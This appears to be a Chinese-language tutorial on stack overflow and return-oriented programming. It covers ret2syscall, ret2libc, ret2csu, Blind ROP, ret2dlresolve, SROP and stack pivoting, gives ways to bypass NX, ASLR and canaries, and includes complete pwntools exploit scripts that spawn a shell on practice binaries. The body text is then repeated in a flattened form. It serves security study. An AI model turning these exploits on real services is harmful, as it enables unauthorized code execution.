栈溢出与ROP攻击技术的进阶之路
字数 3117 2025-08-19 12:40:36

栈溢出与ROP攻击技术进阶指南

1. ROP技术基础

1.1 ROP概述

ROP(Return Oriented Programming)是一种高级的内存攻击技术,用于绕过现代操作系统的各种通用防御(如内存不可执行和代码签名等)。其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或变量的值,从而控制程序的执行流程。

1.2 ROP攻击条件

  1. 程序存在溢出漏洞,并且可以控制返回地址
  2. 可以找到满足条件的gadgets
  3. 如果gadgets每次的地址不固定,需要动态获取地址

2. 基础ROP技术

2.1 ret2syscall

2.1.1 原理

通过系统调用达到目的。在x86架构上,Linux系统调用通过int 80h实现,使用系统调用号来区分入口函数。

系统调用过程:

  1. 应用程序调用库函数(API)
  2. API将系统调用号存入EAX,通过中断调用进入内核态
  3. 内核中的中断处理函数根据系统调用号调用对应的内核函数
  4. 系统调用完成后将返回值存入EAX,返回到中断处理函数
  5. 中断处理函数返回到API中
  6. API将EAX返回给应用程序

2.1.2 利用步骤

  1. 检测程序保护机制
  2. 分析程序漏洞点
  3. 构造系统调用链(如execve("/bin/sh",NULL,NULL))
  4. 使用ROPgadget工具寻找所需gadgets
  5. 构造payload并执行

2.1.3 关键gadgets查找

# 查找pop eax; ret
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'

# 查找pop ebx; ret
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'

# 查找字符串"/bin/sh"
ROPgadget --binary ret2syscall --string '/bin/sh'

# 查找int 0x80
ROPgadget --binary ret2syscall --only 'int'

2.2 ret2libc

2.2.1 原理

动态链接情况下,程序链接时不会将库中所有函数都链接进来,只在执行时加载。ret2libc控制执行libc中的函数,通常是返回至某个函数的plt处或函数的具体位置(函数对应的got表项内容)。

2.2.2 三种情况

  1. 程序中能找到system函数和"/bin/sh"字符串
  2. 程序中只存在其中一个
  3. 两者都不存在(真正的ret2libc)

2.2.3 利用步骤

  1. 检测程序保护机制
  2. 分析程序漏洞点
  3. 泄露函数真实地址(如puts)
  4. 根据泄露地址确定libc版本
  5. 计算system和"/bin/sh"地址
  6. 构造payload执行system("/bin/sh")

2.2.4 关键技巧

  • 使用LibcSearcher工具查找libc版本
  • 通过got表泄露函数地址
  • 注意栈平衡问题

3. 高级ROP技术

3.1 ret2csu

3.1.1 原理

在64位程序中,函数前6个参数通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9)。ret2csu利用x64下__libc_csu_init中的gadgets来设置这些寄存器。

3.1.2 关键gadgets

00000000004007BA <__libc_csu_init+90>: pop rbx
00000000004007BB <__libc_csu_init+91>: pop rbp
00000000004007BC <__libc_csu_init+92>: pop r12
00000000004007BE <__libc_csu_init+94>: pop r13
00000000004007C0 <__libc_csu_init+96>: pop r14
00000000004007C2 <__libc_csu_init+98>: pop r15
00000000004007C4 <__libc_csu_init+100>: ret

3.1.3 利用步骤

  1. 利用栈溢出执行libc_csu_gadgets获取write函数地址
  2. 使程序重新执行main函数
  3. 根据libcsearcher获取对应libc版本及execve函数地址
  4. 再次利用栈溢出执行libc_csu_gadgets向bss段写入execve地址及"/bin/sh"
  5. 再次利用栈溢出执行libc_csu_gadgets执行execve("/bin/sh")

3.2 BROP(Blind ROP)

3.2.1 原理

在没有对应应用程序源代码或二进制文件的情况下,对程序进行攻击并劫持程序执行流。

3.2.2 攻击条件

  1. 程序存在栈溢出漏洞
  2. 服务器进程崩溃后会重启,且重启后的进程地址与先前相同
  3. 适用于nginx, MySQL, Apache, OpenSSH等服务器应用

3.2.3 利用步骤

  1. 判断栈溢出长度
  2. 寻找能返回到main函数的gadgets(stop_gadget)
  3. 寻找brop gadgets(如__libc_csu_init中的gadgets)
  4. 定位pop rdi; ret的地址
  5. 寻找puts或write函数的plt
  6. dump plt表,用于leak所需函数的got地址
  7. 通过leak到的got地址找到对应libc版本
  8. 通过libc执行系统命令获取shell

3.3 ret2dlresolve

3.3.1 原理

利用动态链接器解析符号的过程,伪造重定位表项,使程序解析并执行攻击者指定的函数。

3.3.2 关键数据结构

  1. .dynamic段:包含动态链接相关信息
  2. .dynstr段:存储符号名称字符串
  3. .dynsym段:符号表
  4. .rel.plt段:函数重定位表

3.3.3 利用步骤

  1. 控制程序执行流到_dl_runtime_resolve
  2. 伪造Elf32_Rel结构
  3. 伪造Elf32_Sym结构
  4. 伪造函数名称字符串
  5. 触发动态链接器解析过程

3.4 SROP(Sigreturn Oriented Programming)

3.4.1 原理

利用signal机制中内核保存和恢复进程上下文的特性,通过伪造Signal Frame来控制程序执行流。

3.4.2 关键点

  1. 32位sigreturn调用号为77,64位为15
  2. signal handler返回后,内核会执行sigreturn系统调用
  3. 通过控制rax寄存器值来触发sigreturn

3.4.3 利用步骤(以smallest为例)

  1. 泄露栈地址
  2. 使用SigreturnFrame构造read(0,stack_addr,0x400)
  3. 通过控制输入字符数调用sigreturn
  4. 使用SigreturnFrame构造execve("/bin/sh",0,0)
  5. 再次触发sigreturn执行shell

3.5 栈迁移(stack pivoting)

3.5.1 原理

劫持栈指针指向攻击者能控制的内存区域,然后在该位置进行ROP。

3.5.2 使用场景

  1. 可控栈溢出字节数较少
  2. 开启PIE保护,栈地址未知
  3. 其他漏洞难以利用,需要转换攻击面

3.5.3 使用要求

  1. 可以控制程序执行流
  2. 可以控制sp指针(通过pop rsp/esp或libc_csu_init中的gadgets)
  3. 存在可控制内容的内存(bss段或堆)

4. 工具与技巧

4.1 常用工具

  1. ROPgadget:查找二进制文件中的gadgets
  2. LibcSearcher:根据泄露地址查找libc版本
  3. pwntools:构造exp的强大Python库
  4. gdb-peda:增强的gdb调试环境

4.2 实用技巧

  1. 使用cyclic模式确定溢出偏移量
  2. 通过ELF解析获取函数plt和got地址
  3. 注意小端序存储对payload构造的影响
  4. 考虑栈平衡和内存对齐问题
  5. 利用pwntools的SigreturnFrame简化SROP利用

5. 防御与绕过

5.1 常见防御机制

  1. NX(DEP):数据执行保护
  2. ASLR:地址空间布局随机化
  3. Stack Canary:栈保护机制
  4. RELRO:重定位表保护

5.2 绕过方法

  1. 针对NX:使用ROP技术
  2. 针对ASLR:信息泄露或暴力破解
  3. 针对Stack Canary:泄露canary值或覆盖不检查canary的路径
  4. 针对RELRO:利用已有的plt/got表项

6. 实战案例

6.1 ret2syscall示例

from pwn import *

p = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh_addr = 0x080be408
int_0x80 = 0x08049421

payload = flat(['A'*112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh_addr, int_0x80])
p.sendline(payload)
p.interactive()

6.2 ret2libc示例

from pwn import *
from LibcSearcher import *

p = process('./ret2libc3')
e = ELF('./ret2libc3')
context.log_level = 'debug'

main_got_addr = e.got['__libc_start_main']
puts_plt_addr = e.plt['puts']
main = e.symbols['main']

payload = flat(['A'*112, puts_plt_addr, main, main_got_addr])
p.sendlineafter('Can you find it!?', payload)
main_rel_addr = u32(p.recv()[0:4])
print hex(main_rel_addr)

libc = LibcSearcher('__libc_start_main', main_rel_addr)
libcbase = main_rel_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload = flat(['A'*104, system_addr, 0xdeadbeef, binsh_addr])
p.sendline(payload)
p.interactive()

6.3 SROP示例

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./smallest')
main_addr = 0x04000B0
syscall_addr = 0x04000BE

# 泄露栈地址
payload = p64(main_addr)*3
p.send(payload)
p.send('\xb3')
stack_addr = u64(p.recv()[8:16])

# 构造read(0,stack_addr,0x400)
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
payload = p64(main_addr) + p64(0) + str(frame)
p.send(payload)
payload = p64(syscall_addr) + "\x00"*(15-8)
p.send(payload)

# 构造execve("/bin/sh",0,0)
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr + 0x150
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_addr
frame_payload = p64(main_addr) + p64(0) + str(frame)
payload = frame_payload + (0x150-len(frame_payload))*"\x00" + "/bin/sh\x00"
p.send(payload)
payload = p64(syscall_addr) + "\x00"*(15-8)
p.send(payload)

p.interactive()

7. 总结

ROP技术是现代二进制漏洞利用的核心技术之一,通过组合程序本身的代码片段(gadgets)来绕过各种安全防护机制。从基础的ret2syscall、ret2libc,到高级的ret2csu、BROP、SROP等技术,攻击者可以在不同防护环境下实现代码执行。理解这些技术的原理和实现方式,不仅有助于漏洞利用,也能更好地设计防护措施。

栈溢出与ROP攻击技术进阶指南 1. ROP技术基础 1.1 ROP概述 ROP(Return Oriented Programming)是一种高级的内存攻击技术,用于绕过现代操作系统的各种通用防御(如内存不可执行和代码签名等)。其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或变量的值,从而控制程序的执行流程。 1.2 ROP攻击条件 程序存在溢出漏洞,并且可以控制返回地址 可以找到满足条件的gadgets 如果gadgets每次的地址不固定,需要动态获取地址 2. 基础ROP技术 2.1 ret2syscall 2.1.1 原理 通过系统调用达到目的。在x86架构上,Linux系统调用通过 int 80h 实现,使用系统调用号来区分入口函数。 系统调用过程: 应用程序调用库函数(API) API将系统调用号存入EAX,通过中断调用进入内核态 内核中的中断处理函数根据系统调用号调用对应的内核函数 系统调用完成后将返回值存入EAX,返回到中断处理函数 中断处理函数返回到API中 API将EAX返回给应用程序 2.1.2 利用步骤 检测程序保护机制 分析程序漏洞点 构造系统调用链(如execve("/bin/sh",NULL,NULL)) 使用ROPgadget工具寻找所需gadgets 构造payload并执行 2.1.3 关键gadgets查找 2.2 ret2libc 2.2.1 原理 动态链接情况下,程序链接时不会将库中所有函数都链接进来,只在执行时加载。ret2libc控制执行libc中的函数,通常是返回至某个函数的plt处或函数的具体位置(函数对应的got表项内容)。 2.2.2 三种情况 程序中能找到system函数和"/bin/sh"字符串 程序中只存在其中一个 两者都不存在(真正的ret2libc) 2.2.3 利用步骤 检测程序保护机制 分析程序漏洞点 泄露函数真实地址(如puts) 根据泄露地址确定libc版本 计算system和"/bin/sh"地址 构造payload执行system("/bin/sh") 2.2.4 关键技巧 使用LibcSearcher工具查找libc版本 通过got表泄露函数地址 注意栈平衡问题 3. 高级ROP技术 3.1 ret2csu 3.1.1 原理 在64位程序中,函数前6个参数通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9)。ret2csu利用x64下 __libc_csu_init 中的gadgets来设置这些寄存器。 3.1.2 关键gadgets 3.1.3 利用步骤 利用栈溢出执行libc_ csu_ gadgets获取write函数地址 使程序重新执行main函数 根据libcsearcher获取对应libc版本及execve函数地址 再次利用栈溢出执行libc_ csu_ gadgets向bss段写入execve地址及"/bin/sh" 再次利用栈溢出执行libc_ csu_ gadgets执行execve("/bin/sh") 3.2 BROP(Blind ROP) 3.2.1 原理 在没有对应应用程序源代码或二进制文件的情况下,对程序进行攻击并劫持程序执行流。 3.2.2 攻击条件 程序存在栈溢出漏洞 服务器进程崩溃后会重启,且重启后的进程地址与先前相同 适用于nginx, MySQL, Apache, OpenSSH等服务器应用 3.2.3 利用步骤 判断栈溢出长度 寻找能返回到main函数的gadgets(stop_ gadget) 寻找brop gadgets(如__ libc_ csu_ init中的gadgets) 定位pop rdi; ret的地址 寻找puts或write函数的plt dump plt表,用于leak所需函数的got地址 通过leak到的got地址找到对应libc版本 通过libc执行系统命令获取shell 3.3 ret2dlresolve 3.3.1 原理 利用动态链接器解析符号的过程,伪造重定位表项,使程序解析并执行攻击者指定的函数。 3.3.2 关键数据结构 .dynamic段:包含动态链接相关信息 .dynstr段:存储符号名称字符串 .dynsym段:符号表 .rel.plt段:函数重定位表 3.3.3 利用步骤 控制程序执行流到_ dl_ runtime_ resolve 伪造Elf32_ Rel结构 伪造Elf32_ Sym结构 伪造函数名称字符串 触发动态链接器解析过程 3.4 SROP(Sigreturn Oriented Programming) 3.4.1 原理 利用signal机制中内核保存和恢复进程上下文的特性,通过伪造Signal Frame来控制程序执行流。 3.4.2 关键点 32位sigreturn调用号为77,64位为15 signal handler返回后,内核会执行sigreturn系统调用 通过控制rax寄存器值来触发sigreturn 3.4.3 利用步骤(以smallest为例) 泄露栈地址 使用SigreturnFrame构造read(0,stack_ addr,0x400) 通过控制输入字符数调用sigreturn 使用SigreturnFrame构造execve("/bin/sh",0,0) 再次触发sigreturn执行shell 3.5 栈迁移(stack pivoting) 3.5.1 原理 劫持栈指针指向攻击者能控制的内存区域,然后在该位置进行ROP。 3.5.2 使用场景 可控栈溢出字节数较少 开启PIE保护,栈地址未知 其他漏洞难以利用,需要转换攻击面 3.5.3 使用要求 可以控制程序执行流 可以控制sp指针(通过pop rsp/esp或libc_ csu_ init中的gadgets) 存在可控制内容的内存(bss段或堆) 4. 工具与技巧 4.1 常用工具 ROPgadget:查找二进制文件中的gadgets LibcSearcher:根据泄露地址查找libc版本 pwntools:构造exp的强大Python库 gdb-peda:增强的gdb调试环境 4.2 实用技巧 使用cyclic模式确定溢出偏移量 通过ELF解析获取函数plt和got地址 注意小端序存储对payload构造的影响 考虑栈平衡和内存对齐问题 利用pwntools的SigreturnFrame简化SROP利用 5. 防御与绕过 5.1 常见防御机制 NX(DEP):数据执行保护 ASLR:地址空间布局随机化 Stack Canary:栈保护机制 RELRO:重定位表保护 5.2 绕过方法 针对NX:使用ROP技术 针对ASLR:信息泄露或暴力破解 针对Stack Canary:泄露canary值或覆盖不检查canary的路径 针对RELRO:利用已有的plt/got表项 6. 实战案例 6.1 ret2syscall示例 6.2 ret2libc示例 6.3 SROP示例 7. 总结 ROP技术是现代二进制漏洞利用的核心技术之一,通过组合程序本身的代码片段(gadgets)来绕过各种安全防护机制。从基础的ret2syscall、ret2libc,到高级的ret2csu、BROP、SROP等技术,攻击者可以在不同防护环境下实现代码执行。理解这些技术的原理和实现方式,不仅有助于漏洞利用,也能更好地设计防护措施。